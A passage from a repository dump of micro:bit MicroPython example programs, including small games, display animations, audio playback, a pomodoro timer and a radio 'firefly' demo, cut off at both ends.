ideal...)\n\n    # loop while button a is not pressed\n    while not microbit.button_a.is_pressed() and microbit.accelerometer.get_z() < -800:\n        conway_step()\n        show()\n        microbit.sleep(150)\n"
  },
  {
    "path": "micropython/examples/counter.py",
    "content": "\"\"\"\n    counter.py\n    ~~~~~~~~~~\n    Creates a counter that increments on pressing button a.\n    Scrolls the current count on the led display.\n\"\"\"\n\nimport microbit\nctr = 0                                         # Initialize counter\nwhile True:                                     # Loop forever\n    ctr = ctr + microbit.button_a.get_presses() # Count the amount of presses \n    if ctr > 0:                                 # Only execute if not zero\n        microbit.display.scroll(str(ctr))       # Display the counter\n    microbit.sleep(100)                         # Sleep for 100ms\n"
  },
  {
    "path": "micropython/examples/digital_water.py",
    "content": "\"\"\"\nDigital Water - your micro water simulator. By Tom Viner\n\nExplanation and see running:\nhttps://www.youtube.com/watch?v=OBTUjoc46Pk\n\"\"\"\n\nimport microbit\n\n# define some constants\n\nDISPLAY_WIDTH = 5\nDISPLAY_HEIGHT = 5\n\nMIN_BRIGHTNESS = 0\nMEDIUM_BRIGHTNESS = 4\nMAX_BRIGHTNESS = 9\n\n# this is how the accelerometer values 1g of gravity\nONE_G = 1024\n\n# Some maths functions to help us\n\ndef clamp(minimum, n, maximum):\n    \"\"\"Return the nearest value to n, that's within minimum to maximum (incl)\n    \"\"\"\n    return max(minimum, min(n, maximum))\n\ndef rescale(src_scale, dest_scale, x):\n    \"\"\"Map one number scale to another\n\n    For example, to convert a score of 4 stars out of 5 into a percentage:\n    >>> rescale((0, 5), (0, 100), 4)\n    80.0\n\n    Great for mapping different input values into LED pixel brightnesses!\n    \"\"\"\n    src_start, src_end = src_scale\n    # what proportion along src_scale x is:\n    proportion = 1.0 * (x - src_start) / (src_end - src_start)\n\n    dest_start, dest_end = dest_scale\n    # apply our proportion to the dest_scale\n    return proportion * (dest_end - dest_start) + dest_start\n\n# Helpers for controling the display\n\ndef light(brightness, filter):\n    \"\"\"Light up all pixels matching the filter function\n    \"\"\"\n    brightness = clamp(MIN_BRIGHTNESS, round(brightness), MAX_BRIGHTNESS)\n    for col in range(DISPLAY_WIDTH):\n        for row in range(DISPLAY_HEIGHT):\n            if filter(col, row):\n                microbit.display.set_pixel(col, row, brightness)\n\ndef fade_display():\n    \"\"\"Reduce every pixel by 1 brightness level\n\n    This means as we draw new things, the old ones will fade away\n    \"\"\"\n    for col in range(5):\n        for row in range(5):\n            brightness = microbit.display.get_pixel(col, row)\n            # reduce by one, but make sure it's still in 0 to 9\n            brightness = clamp(MIN_BRIGHTNESS, brightness - 1, MAX_BRIGHTNESS)\n            microbit.display.set_pixel(col, row, brightness)\n\n\ndef paint_water():\n    \"\"\"Use the accelerometer to paint a water level on the display\n    \"\"\"\n    # read the current orientation values from the accelerometer\n    X, Y, Z = microbit.accelerometer.get_values()\n\n    # map the force in the X-axis to a turn factor from -2 to 2\n    # -ONE_G is button A at the top, ONE_G is button B at the top\n    turn_factor = rescale((-ONE_G, ONE_G), (-2, 2), X)\n\n    # map the force in the Z-axis to a spill factor from -3 to 3\n    # this allows the water to cover the whole display when it's flat\n    spill_factor = rescale((ONE_G, -ONE_G), (-3, 3), Z)\n\n    # use the variables above to make a filter function, customised for the\n    # current orientation of the micro:bit\n    def filter(col, row):\n        \"\"\"For a given pixel position, decide if it should be on or not\n        \"\"\"\n        if Y < 0:\n            # we're upside down, so reverse the y-axis value\n            # (- 1 because we start counting rows from 0, not 1)\n            row = DISPLAY_HEIGHT - 1 - row\n        # remember rows count down from the top, so we want to light up all\n        # the rows below the water line (when the micro:bit is help up straight)\n        # The forumula here is of the form y = m*x + c\n        # We have a couple of \"- 2\"s to centre the water level in the middle \n        # of the display\n        return row - 2 > -turn_factor * (col - 2) - spill_factor\n\n    # we want the water to \"dilute\" when spread out across the whole display\n    overall_brightness = rescale(\n        (0, ONE_G),\n        (MAX_BRIGHTNESS, MEDIUM_BRIGHTNESS),\n        abs(Z)\n    )\n\n    # light up the pixels when filter returns true, to the given bright level\n    light(overall_brightness, filter)\n\n# loop forever painting watery pixels, sleeping and then fading as each pixel\n# washes away into the night\n\nwhile True:\n    paint_water()\n\n    microbit.sleep(100)\n\n    # fade all pixels by one brightness level\n    fade_display()\n"
  },
  {
    "path": "micropython/examples/dodge_game.py",
    "content": "\"\"\"\nDodge game\n\nGet the player back and forth across the screen while dodging the enemy\n\"\"\"\n\nfrom microbit import *\nimport music\n\n\nclass Enemy:\n    \"\"\"\n    Enemy which moves vertically down the screen\n    \"\"\"\n    def __init__(self):\n        self.x, self.y = 2, -1\n\n    def get_positions(self):\n        return ((self.x, self.y), (self.x, self.y + 1 if self.y < 4 else 0))\n\n    def move(self):\n        # Rotate back round to the top\n        self.y = (self.y + 1) % 5\n\n    def draw(self):\n        for x, y in self.get_positions():\n            display.set_pixel(x, y, 9)\n\n\nclass Player:\n    \"\"\"\n    Left-right moving player which can be controlled with buttons\n    \"\"\"\n    RIGHT = 1\n    LEFT = -1\n    STOPPED = 0\n    LEFT_EDGE = 0\n    RIGHT_EDGE = 4\n\n    def __init__(self):\n        self.alive = True\n        self.score = 0\n        self.just_scored = False\n        self.x, self.y = self.LEFT_EDGE, 2\n        self.direction = self.STOPPED\n\n    def get_position(self):\n        return (self.x, self.y)\n\n    def die(self):\n        \"\"\"\n        Player dies - show their score and play sad music\n        \"\"\"\n        self.alive = False\n        display.show(str(self.score))\n        music.play(music.WAWAWAWAA)\n\n    def move(self):\n        \"\"\"\n        Move the player one step further in their\n        current direction\n        \"\"\"\n        self.just_scored = False\n        self.x += self.direction\n        if self.x in (self.LEFT_EDGE, self.RIGHT_EDGE):\n            # Player reached the edge - another run survived!\n            if self.direction != self.STOPPED:\n                self.score += 1\n                self.just_scored = True\n\n            self.direction = self.STOPPED\n\n    def draw(self):\n        \"\"\"\n        Draw the player\n        \"\"\"\n        display.set_pixel(self.x, self.y, 9)\n        if self.just_scored:\n            music.pitch(400, 40)\n\n    def act_on_input(self):\n        # If we're standing still, look for a button press.\n        if self.direction == self.STOPPED:\n            if button_b.was_pressed() and self.x == self.LEFT_EDGE:\n                self.direction = self.RIGHT\n\n            elif button_a.was_pressed() and self.x == self.RIGHT_EDGE:\n                self.direction = self.LEFT\n\n\nclass Game:\n    def __init__(self):\n        self.enemy = Enemy()\n        self.player = Player()\n        self.frame_rate = 1\n\n    def detect_collisions(self):\n        \"\"\"\n        Have the player and the enemy collided?\n        \"\"\"\n        return self.player.get_position() in self.enemy.get_positions()\n\n    def do_frame(self):\n        \"\"\"\n        Called once per frame to advance the game state\n        \"\"\"\n        # Adjust the speed as the player's score gets higher\n        # (But don't let it exceed the actual frame rate)\n        self.frame_rate = max(1, min(100, self.player.score))\n\n        if self.player.alive:\n            display.clear()\n\n            self.enemy.move()\n            self.player.act_on_input()\n            self.player.move()\n\n            if self.detect_collisions():\n                self.player.die()\n            else:\n                self.enemy.draw()\n                self.player.draw()\n\n\ngame = Game()\nwhile True:\n    timestamp = running_time()\n\n    game.do_frame()\n\n    # Keep the frame rate consistent\n    new_timestamp = running_time()\n    time_taken = (new_timestamp - timestamp)\n    interval = 1000 // game.frame_rate\n    if time_taken < interval:\n        sleep(interval - time_taken)\n    timestamp = new_timestamp\n"
  },
  {
    "path": "micropython/examples/flame_simulation.py",
    "content": "### Flame simulation on the Microbit.\r\n### Author: M. Schafer 2016\r\n# This program has been placed into the public domain.\r\n\r\nimport microbit, random\r\n\r\n# User adjustable values for range of brightness in flames.\r\nMIN_BRIGHTNESS = 1\r\nMAX_BRIGHTNESS = 8\r\n\r\n\r\n#  fixed for the Microbit\r\nDISPLAY_WIDTH  = 5\r\nDISPLAY_HEIGHT = 5\r\n\r\nINVERT_DISPLAY = True # flame can be oriented in either direction\r\n\r\n# MASK to create fire shape. multiplies values %\r\nMASK = [[ 88, 100, 100, 100, 88 ],\r\n        [ 60,  95, 100,  95, 60 ],\r\n        [ 50,  88,  90,  88, 50 ],\r\n        [ 33,  75,  88,  75, 33 ],\r\n        [ 10,  33,  66,  33, 10 ]  ]\r\n\r\n# Generate a new bottom row of random values for the flames\r\ndef generate_line(start=MIN_BRIGHTNESS, end=MAX_BRIGHTNESS):\r\n    \"start and end define range of dimmest to brightest 'flames'\"\r\n    return [start + random.randrange(end-start) for i in range(DISPLAY_WIDTH)]\r\n\r\n# shift all values in the grid up one row\r\ndef shift_up(grid, newline):\r\n    \"Shift up lines in grid, add newline at bottom\"\r\n    for y in range(DISPLAY_HEIGHT-1, 0, -1):\r\n        grid[y] = grid[y-1]\r\n    # lowest line\r\n    for x in range(DISPLAY_WIDTH):\r\n        grid[0] = newline\r\n\r\n\r\n# write a frame to the screen.\r\n# Interpolate values based on percent\r\ndef interpolate_frame(screen, pcnt, grid, line):\r\n    \"\"\" Interpolate new values by reading from grid and\r\n         writing to the screen \"\"\"\r\n    # each row interpolates with the one before it\r\n    for y in range(DISPLAY_HEIGHT-1, 0, -1):\r\n        for x in range(DISPLAY_WIDTH):\r\n            mask = MASK[y][x]\r\n            newval = ((100-pcnt) * grid[y][x] + pcnt * grid[y-1][x] ) / 100.0\r\n            newval = mask * newval / 100.0\r\n            if INVERT_DISPLAY:\r\n                screen.set_pixel(x, DISPLAY_HEIGHT-y-1, int(newval))\r\n            else:\r\n                screen.set_pixel(x, y, int(newval))\r\n    # first row interpolates with the \"next\" line\r\n    for x in range(DISPLAY_WIDTH):\r\n        mask = MASK[y][x]\r\n        newval = ((100-pcnt) * grid[0][x] + pcnt * line[x]) / 100.0\r\n        newval = mask * newval / 100.0\r\n        if INVERT_DISPLAY:\r\n            screen.set_pixel(x, DISPLAY_HEIGHT-1, int(newval))\r\n        else:\r\n            screen.set_pixel(x, 0, int(newval))\r\n\r\n## Setup\r\r\nline = generate_line()\r\ngrid = [[0 for i in range(DISPLAY_WIDTH)] for i in range(DISPLAY_HEIGHT)]\r\n\r\nSCREEN = microbit.display\r\npercent = 0     # counter to see when to re-interpolate\r\nsleeptime = 0   # delay between updates\r\npercent_increment = 25  # how fast we interpolate fire\r\n\r\n\r\n# loop forever\r\nwhile True:\r\n    if percent > 100:\r\n        # move everything up a line, insert new bottom row\r\n        line = generate_line()\r\n        shift_up(grid, line)\r\n        percent = 0\r\n\r\n    # Check Buttons to see if changing\r\n    # button_a = smoothness\r\n    if microbit.button_a.was_pressed():\r\n        percent_increment += 5\r\n        if percent_increment > 50:\r\n             percent_increment = 1\r\n        print(\"percent interpolate=\", percent_increment)\r\n    # button_b = delay\r\n    if microbit.button_b.was_pressed():\r\n        sleeptime += 10\r\n        if sleeptime > 100:\r\n             sleeptime = 0\r\n        print(\"sleeptime=\", sleeptime)\r\n    # draw frame and sleep\r\n    interpolate_frame(SCREEN, percent, grid, line)\r\n    microbit.sleep(sleeptime)\r\n    # update main counters\r\n    percent += percent_increment\r\n\r\n"
  },
  {
    "path": "micropython/examples/flappybit.py",
    "content": "'''\nFlappy Bit\n\nControl the bit by tilting the micro:bit\n\nAvoid the obstacles\n\nCreate your own terrain by editing the terrain list below:\n'''\n\nimport music\nfrom microbit import (accelerometer,\n                      display,\n                      sleep,\n                      Image,\n                      reset,\n                      )\n\ndisplay.scroll('Flappy Bit')\n\nbird = 2\nterrain = [\n    (0, 0),\n    (0, 0),\n    (0, 0),\n    (0, 0),\n    (0, 2),\n    (0, 0),\n    (0, 0),\n    (3, 0),\n    (3, 0),\n    (4, 0),\n    (3, 0),\n    (0, 0),\n    (0, 0),\n    (0, 1),\n    (2, 0),\n    (3, 0),\n    (4, 0),\n    (3, 0),\n    (0, 0),\n    (0, 1),\n    (2, 0),\n]\n\nterrain_multiplier = 5\npos = 0\n\nwhile True:\n    sleep(100)\n    if -256 < accelerometer.get_y() < 450:\n        bird = max(0, bird - 1)\n    elif 568 < accelerometer.get_y() < 1024:\n        bird = min(4, bird + 1)\n\n    display.clear()\n    display.set_pixel(0, bird, 9)\n\n    pos_terrain = pos // terrain_multiplier\n    lost_status = False\n    for column, (top, bottom) in enumerate(\n            terrain[pos_terrain:pos_terrain + 5]):\n        for y in range(top):\n            display.set_pixel(column, y, 4)\n            if column == 0 and bird == y:\n                lost_status = True\n        for y in range(bottom):\n            display.set_pixel(column, 4 - y, 4)\n            if column == 0 and bird == (4 - y):\n                lost_status = True\n    if lost_status:\n        display.show(Image.SAD)\n        music.play(music.FUNERAL)\n        reset()\n    pos += 1\n    if pos_terrain > len(terrain):\n        pos = 0\n"
  },
  {
    "path": "micropython/examples/four_buttons.py",
    "content": "\"\"\"Four buttons - 2 buttons + 2 more \"buttons\"!\nA little example of using pins 1 & 2 an extra 2 buttons. By Tom Viner\n\nExplanation and see running:\nhttps://www.youtube.com/watch?v=6ofUJ6Mgk4k\n\"\"\"\nimport microbit\n\n# define some constants\n\nDISPLAY_WIDTH = 5\nDISPLAY_HEIGHT = 5\n\nMIN_BRIGHTNESS = 0\nMAX_BRIGHTNESS = 9\n\n# A maths functions to help us\n\ndef clamp(minimum, n, maximum):\n    \"\"\"Return the nearest value to n, that's within minimum to maximum (incl)\n    \"\"\"\n    return max(minimum, min(n, maximum))\n\n\n# Helpers for controling the display\n\ndef light(brightness, filter):\n    \"\"\"Light up all pixels matching the filter function\n    \"\"\"\n    brightness = clamp(MIN_BRIGHTNESS, round(brightness), MAX_BRIGHTNESS)\n    for col in range(DISPLAY_WIDTH):\n        for row in range(DISPLAY_HEIGHT):\n            if filter(col, row):\n                microbit.display.set_pixel(col, row, brightness)\n\ndef light_column(column):\n    \"\"\"Light up a whole column to max brightness\n    \"\"\"\n    def filter_column(col, row):\n        \"\"\"For a given pixel position, turn on if it matches our column\n        \"\"\"\n        return col == column\n    light(MAX_BRIGHTNESS, filter_column)\n\ndef light_row(row):\n    \"\"\"Light up a whole row to max brightness\n    \"\"\"\n    def filter_row(col, rw):\n        \"\"\"For a given pixel position, turn on if it matches our row\n        \"\"\"\n        return rw == row\n    light(MAX_BRIGHTNESS, filter_row)\n\ndef fade_display():\n    \"\"\"Reduce every pixel by 1 brightness level\n\n    This means as we draw new things, the old ones will fade away\n    \"\"\"\n    for col in range(5):\n        for row in range(5):\n            brightness = microbit.display.get_pixel(col, row)\n            # reduce by one, but make sure it's still in 0 to 9\n            brightness = clamp(MIN_BRIGHTNESS, brightness - 1, MAX_BRIGHTNESS)\n            microbit.display.set_pixel(col, row, brightness)\n\ndef paint_box(top=0, bottom=DISPLAY_HEIGHT-1, left=0, right=DISPLAY_WIDTH-1):\n    \"\"\"Draw a filled in rectangle on the display\n    \"\"\"\n    def filter_box(col, row):\n        \"\"\"For a given pixel position, turn it on if it's with the bounds\n        \"\"\"\n        # remember rows count from 0 at the top!\n        correct_vertical = top <= row <= bottom\n        correct_horizontal = left <= col <= right\n        return correct_vertical and correct_horizontal\n    light(MAX_BRIGHTNESS, filter_box)\n\n\n# Our main functions\n\ndef pin_is_touched(n):\n    \"\"\"Pass in a pin number (1 or 2),\n    get back True if it's being touched right now\n\n    In this way, it acts just like microbit.button_a.is_pressed()\n    \"\"\"\n    pin = getattr(microbit, 'pin{}'.format(n))\n    return pin.read_analog() > 300\n\ndef four_buttons():\n    \"\"\"Push buttons, touch pins, see if you can light up the whole display!\n    \"\"\"\n    a_is_pressed = microbit.button_a.is_pressed()\n    b_is_pressed = microbit.button_b.is_pressed()\n\n    # let's call the two pin-buttons c and d:\n    c_is_pressed = pin_is_touched(1)\n    d_is_pressed = pin_is_touched(2)\n\n    if a_is_pressed:\n        light_row(2)\n        paint_box(right=1)\n    if b_is_pressed:\n        light_row(3)\n        paint_box(left=3)\n    if c_is_pressed:\n        light_column(1)\n        paint_box(bottom=1)\n    if d_is_pressed:\n        light_column(3)\n        paint_box(top=3)\n\n\nwhile True:\n    four_buttons()\n\n    microbit.sleep(10)\n\n    # fade all pixels by one brightness level\n    fade_display()\n"
  },
  {
    "path": "micropython/examples/i_feel_today.py",
    "content": "\"\"\"\nProgram that shows different emotions.\nPush button \"A\" to become sadder and \"B\" to become happier.\n\"\"\"\n\nfrom microbit import *\n\nhorror = Image(\"09090:00000:09990:90009:99999\")\nbetter_meh = Image(\"00000:09090:00000:99999:00000\")\njoy = Image(\"09090:00000:99999:90009:09990\")\n\nemotions = [horror, Image.SAD, better_meh, Image.HAPPY, joy]\ncurrent_emotion = 2\n\nwhile True:\n    if button_a.get_presses():\n        current_emotion = max(current_emotion - 1, 0)\n    elif button_b.get_presses():\n        current_emotion = min(current_emotion + 1, 4)\n    display.show(emotions[current_emotion])"
  },
  {
    "path": "micropython/examples/led_dance.py",
    "content": "# Light LEDs at random and make them fade over time\n#\n# Usage:\n#\n#    led_dance(delay)\n#\n# 'delay' is the time between each new LED being turned on.\n#\n# TODO The random number generator is not great. Perhaps the accelerometer\n# or compass could be used to add entropy.\n\nimport microbit\nimport random\n\ndef led_dance(delay):\n    dots = [ [0]*5, [0]*5, [0]*5, [0]*5, [0]*5 ]\n    while True:\n        dots[random.randrange(5)][random.randrange(5)] = 8\n        for i in range(5):\n            for j in range(5):\n                microbit.display.set_pixel(i, j, dots[i][j])\n                dots[i][j] = max(dots[i][j] - 1, 0)\n        microbit.sleep(delay)\n\nled_dance(100)\n"
  },
  {
    "path": "micropython/examples/magic8.py",
    "content": "# Magic 8 ball by Nicholas Tollervey. February 2016.\n#\n# Ask a question then shake.\n#\n# This program has been placed into the public domain.\nfrom microbit import *\nimport random\n\nanswers = [\n    \"It is certain\",\n    \"It is decidedly so\",\n    \"Without a doubt\",\n    \"Yes, definitely\",\n    \"You may rely on it\",\n    \"As I see it, yes\",\n    \"Most likely\",\n    \"Outlook good\",\n    \"Yes\",\n    \"Signs point to yes\",\n    \"Reply hazy try again\",\n    \"Ask again later\",\n    \"Better not tell you now\",\n    \"Cannot predict now\",\n    \"Concentrate and ask again\",\n    \"Don't count on it\",\n    \"My reply is no\",\n    \"My sources say no\",\n    \"Outlook not so good\",\n    \"Very doubtful\",\n]\n\nwhile True:\n    display.show('8')\n    if accelerometer.was_gesture('shake'):\n        display.clear()\n        sleep(1000)\n        display.scroll(random.choice(answers))\n    sleep(10)\n"
  },
  {
    "path": "micropython/examples/maze.py",
    "content": "\"\"\"\nA simple maze program.  You are the flashing dot and can walk around\nusing the accelerometer.\n\"\"\"\n\nimport microbit\n\nd = microbit.display\nac = microbit.accelerometer\n\n# the maze data, as binary numbers (outside walls are added automatically)\nmaze = [\n    0b0000000000000000,\n    0b0100010101011110,\n    0b0100010101010010,\n    0b0111110100000000,\n    0b0000000111111110,\n    0b0111111101000000,\n    0b0101010001011100,\n    0b0101000100000100,\n    0b0100011111111100,\n    0b0101010001000110,\n    0b0101000100010010,\n    0b0101010111010110,\n    0b0111010101010010,\n    0b0000010100010010,\n    0b0111110111111110,\n    0b0000000000000000,\n]\n\ndef get_maze(x, y):\n    if 0 <= x < 16 and 0 <= y < 16:\n        return (maze[y] >> (15 - x)) & 1\n    else:\n        return 1\n\ndef draw(x, y, tick):\n    img = microbit.Image(5,5)\n    for j in range(5):\n        for i in range(5):\n            img.set_pixel(i, j, get_maze(x + i - 2, y + j - 2)*5)\n\n    # draw the player, flashing\n    img.set_pixel(2, 2, (tick & 1)*4+5)\n    d.show(img)\n\ndef main():\n    x = 0\n    y = 0\n    tick = 0\n    while True:\n        tick += 1\n        if tick == 4:\n            # walk around, with collision detection\n            tick = 0\n            if ac.get_x() > 200 and get_maze(x + 1, y) == 0:\n                x += 1\n            elif ac.get_x() < -200 and get_maze(x - 1, y) == 0:\n                x -= 1\n            elif ac.get_y() > 200 and get_maze(x, y + 1) == 0:\n                y += 1\n            elif ac.get_y() < -200 and get_maze(x, y - 1) == 0:\n                y -= 1\n            x = min(15, max(0, x))\n            y = min(15, max(0, y))\n\n        # draw the maze\n        draw(x, y, tick)\n\n\n        microbit.sleep(50)\n\nmain()\n"
  },
  {
    "path": "micropython/examples/music.py",
    "content": "\"\"\"\n    music.py\n    ~~~~~~~~\n\n    Plays a simple tune using the Micropython music module.\n    This example requires a speaker/buzzer/headphones connected to P0 and GND.\n\"\"\"\nfrom microbit import *\nimport music\n\n# play Prelude in C.\nnotes = [\n    'c4:1', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5',\n    'c4', 'd', 'a', 'd5', 'f5', 'a4', 'd5', 'f5', 'c4', 'd', 'a', 'd5', 'f5', 'a4', 'd5', 'f5',\n    'b3', 'd4', 'g', 'd5', 'f5', 'g4', 'd5', 'f5', 'b3', 'd4', 'g', 'd5', 'f5', 'g4', 'd5', 'f5',\n    'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5',\n    'c4', 'e', 'a', 'e5', 'a5', 'a4', 'e5', 'a5', 'c4', 'e', 'a', 'e5', 'a5', 'a4', 'e5', 'a5',\n    'c4', 'd', 'f#', 'a', 'd5', 'f#4', 'a', 'd5', 'c4', 'd', 'f#', 'a', 'd5', 'f#4', 'a', 'd5',\n    'b3', 'd4', 'g', 'd5', 'g5', 'g4', 'd5', 'g5', 'b3', 'd4', 'g', 'd5', 'g5', 'g4', 'd5', 'g5',\n    'b3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'b3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5',\n    'a3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'a3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5',\n    'd3', 'a', 'd4', 'f#', 'c5', 'd4', 'f#', 'c5', 'd3', 'a', 'd4', 'f#', 'c5', 'd4', 'f#', 'c5',\n    'g3', 'b', 'd4', 'g', 'b', 'd', 'g', 'b', 'g3', 'b3', 'd4', 'g', 'b', 'd', 'g', 'b'\n]\n\nmusic.play(notes)\n"
  },
  {
    "path": "micropython/examples/neopixel_random.py",
    "content": "\"\"\"\n    neopixel_random.py\n    \n    Repeatedly displays random colours onto the LED strip.\n    This example requires a strip of 8 Neopixels (WS2812) connected to pin0.\n\n\"\"\"\nfrom microbit import *\nimport neopixel\nfrom random import randint\n\n# Setup the Neopixel strip on pin0 with a length of 8 pixels\nnp = neopixel.NeoPixel(pin0, 8)\n\nwhile True:\n    #Iterate over each LED in the strip\n    \n    for pixel_id in range(0, len(np)):\n        red = randint(0, 60)\n        green = randint(0, 60)\n        blue = randint(0, 60)\n        \n        # Assign the current LED a random red, green and blue value between 0 and 60\n        np[pixel_id] = (red, green, blue)\n        \n        # Display the current pixel data on the Neopixel strip\n        np.show()\n        sleep(100)\n"
  },
  {
    "path": "micropython/examples/play_file.py",
    "content": "#Plays a file on the specified pins.\nimport audio\n\ndef audio_generator(file, frame):\n    ln = -1\n    while ln:\n        ln = file.readinto(frame)\n        yield frame\n\ndef play_file(name, pin=None, return_pin=None):\n    #Do allocation here, as we can't do it in an interrupt.\n    frame = audio.AudioFrame()\n    with open(name) as file:\n        audio.play(audio_generator(file, frame), pin=pin, return_pin=return_pin)\n"
  },
  {
    "path": "micropython/examples/pomodoro.py",
    "content": "\"\"\"\nA simple pomodoro timer.\nIt times a 25 minute work session then 5 minutes rest.\nPress the reset button to restart the timer.\n\"\"\"\n\nfrom microbit import *\n\n# Tweak CLOCK_ADJUST to make your system clock more accurate.\n# My clock is too fast by 4 seconds every minute so I use 4/60.\n# If your clock is too slow by 3 seconds every minute use -3/60.\n\nCLOCK_ADJUST = 4/60 \n\nALL_LEDS_ON = Image('99999:'*5)\n\n\ndef index_to_xy(i):\n    x = i % 5\n    y = int(i / 5)\n    return x, y    \n\n\ndef show_alarm():\n    for i in range(10):\n        display.show(ALL_LEDS_ON)\n        sleep(250)\n        display.clear()\n        sleep(250)\n\n\ndef run_timer(seconds, LED_state):\n    interval = int(seconds * 1000 / 25 * (1 + CLOCK_ADJUST))\n    intervals_remaining = 25\n    timer = running_time()\n\n    while intervals_remaining > 0:\n\n        # Every interval set a pixel to LED_state\n        time = running_time()\n        if time - timer >= interval:\n            timer = time\n            x, y = index_to_xy(intervals_remaining - 1)\n            display.set_pixel(x, y, LED_state)\n            intervals_remaining -= 1\n\n\nprint(\"pomodoro timer\")\n\n\n# time the pomodoro work session, 25 minutes\ndisplay.scroll(\"Go!\")\ndisplay.show(ALL_LEDS_ON)\nrun_timer(25 * 60, 0)\nshow_alarm()\n\n\n# time the pomodoro break, 5 minutes\ndisplay.scroll(\"break\")\ndisplay.clear()\nrun_timer(5 * 60, 1)\nshow_alarm()\n\ndisplay.show(Image.NO)\n\nprint(\"finished\\n\")\nprint(\"Press the reset button to restart timer.\")\n"
  },
  {
    "path": "micropython/examples/radio.py",
    "content": "# A micro:bit Firefly.\n# By Nicholas H.Tollervey. Released to the public domain.\nimport radio\nimport random\nfrom microbit import display, Image, button_a, sleep\n\n# Create the \"flash\" animation frames. Can you work out how it's done?\nflash = [Image().invert()*(i/9) for i in range(9, -1, -1)]\n\n# The radio won't work unless it's switched on.\nradio.on()\n\n# Event loop.\nwhile True:\n    # Button A sends a \"flash\" message.\n    if button_a.was_pressed():\n        radio.send('flash')  # a-ha\n    # Read any incoming messages.\n    incoming = radio.receive()\n    if incoming == 'flash':\n        # If there's an incoming \"flash\" message display\n        # the firefly flash animation after a random short\n        # pause.\n        sleep(random.randint(50, 350))\n        display.show(flash, delay=100, wait=False)\n        # Randomly re-broadcast the flash message after a\n        # slight delay.\n        if random.randint(0, 9) == 0:\n            sleep(500)\n            radio.send('flash')  # a-ha\n"
  },
  {
    "path": "micropython/examples/reverb.py",
    "content": "import audio\n\ndef from_file(file, frame):\n    ln = -1\n    while ln:\n        ln = file.readinto(frame)\n        yield frame\n\ndef reverb_gen(src, buckets, reflect, fadeout):\n    bucket_count = len(buckets)\n    bucket = 0\n    for frame in src:\n        echo = buckets[bucket]\n        echo *= reflect\n        echo += frame\n        yield echo\n        buckets[bucket] = echo\n        bucket += 1\n        if bucket == bucket_count:\n            bucket = 0\n    while fadeout:\n        fadeout -= 1\n        echo = buckets[bucket]\n        echo *= reflect\n        yield echo\n        buckets[bucket] = echo\n        bucket += 1\n        if bucket == bucket_count:\n            bucket = 0\n\ndef reverb(src, delay, reflect):\n    #Do all allocation up front, so we don't need to do any in the generator.\n    bucket_count = delay>>2\n    buckets = [ None ] * bucket_count\n    for i in range(bucket_count):\n        buckets[i] = audio.AudioFrame()\n    vol = 1.0\n    fadeout = 0\n    while vol > 0.05:\n        fadeout += bucket_count\n        vol *= reflect\n    return reverb_gen(src, buckets, reflect, fadeout)\n\ndef play_file(name, delay=80, reflect=0.5):\n    #Do allocation here, as we can't do it in an interrupt.\n    frame = audio.AudioFrame()\n    with open(name) as file:\n        gen = from_file(file, frame)\n        r = reverb(gen, delay, reflect)\n        audio.play(r)\n"
  },
  {
    "path": "micropython/examples/simple_slalom.py",
    "content": "# Simple Slalom by Larry Hastings, September 2015\r\n#\r\n# This program has been placed into the public domain.\r\n\r\nimport microbit as m\r\nimport random\r\n\r\np = m.display.show\r\n\r\nmin_x = -1024\r\nmax_x = 1024\r\nrange_x = max_x - min_x\r\n\r\nwall_min_speed = 400\r\nplayer_min_speed = 200\r\n\r\nwall_max_speed = 100\r\nplayer_max_speed = 50\r\n\r\nspeed_max = 12\r\n\r\n\r\nwhile True:\r\n\r\n    i = m.Image('00000:'*5)\r\n    s = i.set_pixel\r\n\r\n    player_x = 2\r\n\r\n    wall_y = -1\r\n    hole = 0\r\n\r\n    score = 0\r\n    handled_this_wall = False\r\n\r\n    wall_speed = wall_min_speed\r\n    player_speed = player_min_speed\r\n\r\n    wall_next = 0\r\n    player_next = 0\r\n\r\n    while True:\r\n        t = m.running_time()\r\n        player_update = t >= player_next\r\n        wall_update = t >= wall_next\r\n        if not (player_update or wall_update):\r\n            next_event = min(wall_next, player_next)\r\n            delta = next_event - t\r\n            m.sleep(delta)\r\n            continue\r\n\r\n        if wall_update:\r\n            # calculate new speeds\r\n            speed = min(score, speed_max)\r\n            wall_speed = wall_min_speed + int((wall_max_speed - wall_min_speed) * speed / speed_max)\r\n            player_speed = player_min_speed + int((player_max_speed - player_min_speed) * speed / speed_max)\r\n\r\n            wall_next = t + wall_speed\r\n            if wall_y < 5:\r\n                # erase old wall\r\n                use_wall_y = max(wall_y, 0)\r\n                for wall_x in range(5):\r\n                    if wall_x != hole:\r\n                        s(wall_x, use_wall_y, 0)\r\n\r\n        wall_reached_player = (wall_y == 4)\r\n        if player_update:\r\n            player_next = t + player_speed\r\n            # find new x coord\r\n            x = m.accelerometer.get_x()\r\n            x = min(max(min_x, x), max_x)\r\n            # print(\"x accel\", x)\r\n            s(player_x, 4, 0) # turn off old pixel\r\n            x = ((x - min_x) / range_x) * 5\r\n            x = min(max(0, x), 4)\r\n            x = int(x + 0.5)\r\n            # print(\"have\", position, \"want\", x)\r\n\r\n            if not handled_this_wall:\r\n                if player_x < x:\r\n                    player_x += 1\r\n                elif player_x > x:\r\n                    player_x -= 1\r\n            # print(\"new\", position)\r\n            # print()\r\n\r\n        if wall_update:\r\n            # update wall position\r\n            wall_y += 1\r\n            if wall_y == 7:\r\n                wall_y = -1\r\n                hole = random.randrange(5)\r\n                handled_this_wall = False\r\n\r\n            if wall_y < 5:\r\n                # draw new wall\r\n                use_wall_y = max(wall_y, 0)\r\n                for wall_x in range(5):\r\n                    if wall_x != hole:\r\n                        s(wall_x, use_wall_y, 6)\r\n\r\n        if wall_reached_player and not handled_this_wall:\r\n            handled_this_wall = True\r\n            if (player_x != hole):\r\n                # collision! game over!\r\n                break\r\n            score += 1\r\n\r\n        if player_update:\r\n            s(player_x, 4, 9) # turn on new pixel\r\n\r\n        p(i)\r\n\r\n    p(i.SAD)\r\n    m.sleep(1000)\r\n    